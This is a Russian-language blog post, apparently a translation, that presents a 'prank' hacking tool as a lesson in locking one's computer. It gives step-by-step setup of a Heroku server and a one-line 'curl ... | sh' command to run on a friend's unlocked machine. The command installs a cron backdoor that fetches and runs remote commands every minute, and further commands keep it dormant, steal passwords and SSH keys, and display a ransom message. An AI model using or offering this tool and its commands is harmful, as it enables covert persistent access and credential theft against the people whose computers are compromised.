Мои друзья часто оставляют свои компьютеры открытыми и разблокированными. Я говорю им, что им, вероятно, следует иметь привычку блокировать свои компьютеры, но они меня не слушают. Итак, я создал простой проект, чтобы взломать своих друзей и показать им важность компьютерной безопасности.

Все, что мне нужно сделать, это подождать, пока они оставят свой компьютер разблокированным на несколько секунд, открыть свой терминал и ввести одну короткую команду.

Вот и все! Их компьютер теперь заражен, и я могу удаленно запускать любые команды на этом компьютере. Довольно мило, правда? Или, может быть, шокирует?

Взлом незаконен. Конкретно:

«Преднамеренный доступ к компьютеру без разрешения или превышение разрешенного доступа» - Закон о компьютерном мошенничестве и злоупотреблении (18 U.S.C. 1030)

Так что имейте в виду, что цель этой статьи - показать вам, насколько легко было бы взломать вас с плохими намерениями, чтобы вы могли избежать взлома самостоятельно.

Не нужно быть гением хакера, чтобы разрушить вашу жизнь - любой «скрипач», который может получить физический доступ к вашему компьютеру, может скомпрометировать вас, загрузив скрипт, содержащий всего 50 строк кода.

Получение настройки

Весь код этого проекта находится в этом репозитории, если вы хотите сразу перейти к нему, но я объясню, как все это работает, ниже.

Во-первых, вам просто нужно клонировать репозиторий, установить его зависимости и создать символическую ссылку на инструмент интерфейса командной строки (CLI) hack.

git clone https://github.com/ccorcos/hack.git
git remote remove origin
cd hack
npm install
npm link

Затем вам нужно настроить Heroku для размещения скриптов, которые будут выполняться на машине ваших друзей. Если вы никогда раньше не использовали Heroku, зарегистрируйтесь здесь (это бесплатно!) И настройте их инструмент командной строки на своем компьютере.

brew install heroku-toolbelt
heroku login

Теперь внутри репозитория hack создайте приложение Heroku с легко запоминающимся именем. Я использую hacker-chet.

heroku create hacker-chet

Затем вам нужно запустить команду, чтобы выполнить небольшую настройку. Все, что он на самом деле делает, это получает корневой URL-адрес вашего веб-сайта Heroku и помещает его в ваш package.json. Таким образом, сервер может вставить URL-адрес приложения в сценарии оболочки.

npm run init

Вы можете запустить сервер локально, если хотите взломать себя и все проверить.

npm start

Или вы можете развернуть на Heroku.

npm run deploy

Теперь вы готовы взломать!

Взломать API

Прелесть этой программы в том, что чтобы начать кого-то взламывать, вам просто нужно запустить одну команду на его машине.

curl <ROOT_URL>/hack | sh

ROOT_URL - это конкретный путь к вашему приложению. Когда вы запускаете сервер локально, это будет localhost: 5000, а при развертывании на Heroku это будет что-то вроде ‹APP_NAME› .herokuapp.com.

Это настраивает задание cron - «хронологическое задание», которое повторно запускает задачи в определенное время - для проверки связи с конечной точкой / env / live каждую минуту и ​​передачи результата в sh . На самом деле все очень просто! И Heroku предоставляет вам HTTPS бесплатно, так что это «безопасно», верно?

После того, как вы взломали своего друга, вы можете делать все остальное с помощью инструмента командной строки со своего компьютера.

Инструмент hack имеет концепцию различных взломанных сред. Когда вы взламываете кого-то с помощью конечной точки / hack, этот человек начинает работу в реальной среде. И для каждой среды вы можете запускать множество разных команд. Я все продемонстрирую с помощью небольшого пошагового руководства.

Следующий код перезапишет сценарий оболочки среды live для выполнения следующей команды, которая произносит вслух: «Я наблюдаю за вами».

hack live exec "say 'I\'m watching you'"

Что ж, это еще не сработает, вам все равно придется повторно развернуть приложение Heroku.

hack deploy

Теперь подождите следующую минуту и ​​посмотрите, как компьютер вашего друга пингует ваш сервер, отслеживая журналы сервера.

hack logs

Весь смысл сред в том, что вы можете взломать несколько человек одновременно. Чтобы изолировать людей в разных средах, вам просто нужно изменить имя.

hack live rename jon

В следующий раз при проверке связи с живой средой она перепишет задание cron, чтобы вместо этого запускать проверку связи со средой jon.

Вы можете сделать все то же самое, просто изменив аргумент среды.

hack jon exec "say 'hello jon'"

Теперь, если вы уже достаточно повеселились и вечеринка окончена, вы можете забыть Джона и заверить его, что вы его «взломали».

hack jon forget

Это сотрет задание cron с их компьютера. Или вы можете просто перевести эту среду в режим спящей ячейки, чтобы вы могли восстановить ее позже.

hack jon interval 1d

Теперь вместо того, чтобы пинговать ваш сервер каждую минуту (по умолчанию), он будет пинговать каждый день в полночь. А когда вы захотите снова разбудить его, вы можете изменить интервал обратно на каждую минуту, и на следующий день все в порядке!

hack jon interval 1m

Еще несколько забавных вещей - это настройка дополнительных заданий cron. Вот как вы можете будить друга в 6 утра каждое утро, чтобы напоминать ему о компьютерной безопасности.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. Если вы не помните, как работают cron jobs, это отличный ресурс. Практически все сводится к этой маленькой диаграмме.

* * * * *
| | | | |
| | | | |
| | | | +---- Day of the Week   (range: 1-7, 1 standing for Monday)
| | | +------ Month of the Year (range: 1-12)
| | +-------- Day of the Month  (range: 1-31)
| +---------- Hour              (range: 0-23)
+------------ Minute            (range: 0-59)

Один из моих любимых - предустановка рабочего стола, которая загружает изображение с заданного URL-адреса и устанавливает его в качестве фоновой фотографии.

hack jon preset desktop http://i.imgur.com/5FC2r9R.jpg

А если вы написали кучу заданий cron и больше не знаете, что там написано, вы можете использовать команду dump.

hack jon dump "crontab -l"

Теперь откройте свои журналы, и вы увидите результат при следующем пинге. Теперь, когда вы можете получить информацию, это на самом деле гораздо более зловещее. Если вы хотите быть более гнусным, вы можете искать расшифрованные пароли или украсть их ssh-ключи.

hack jon preset passwords
hack jon preset ssh

Но если вы просто хотите напугать его по старинке, отправьте ему сообщение с требованием выкупа!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Наконец, если вы обнаружите, что добавляете кучу заданий cron и просто хотите начать заново, здесь вам поможет сброс.

hack jon reset

А теперь (ответственно) повеселитесь с этой штукой и дайте мне знать, какие ваши любимые розыгрыши, отправив запрос на перенос с новой командой или предустановкой!

Удачного взлома!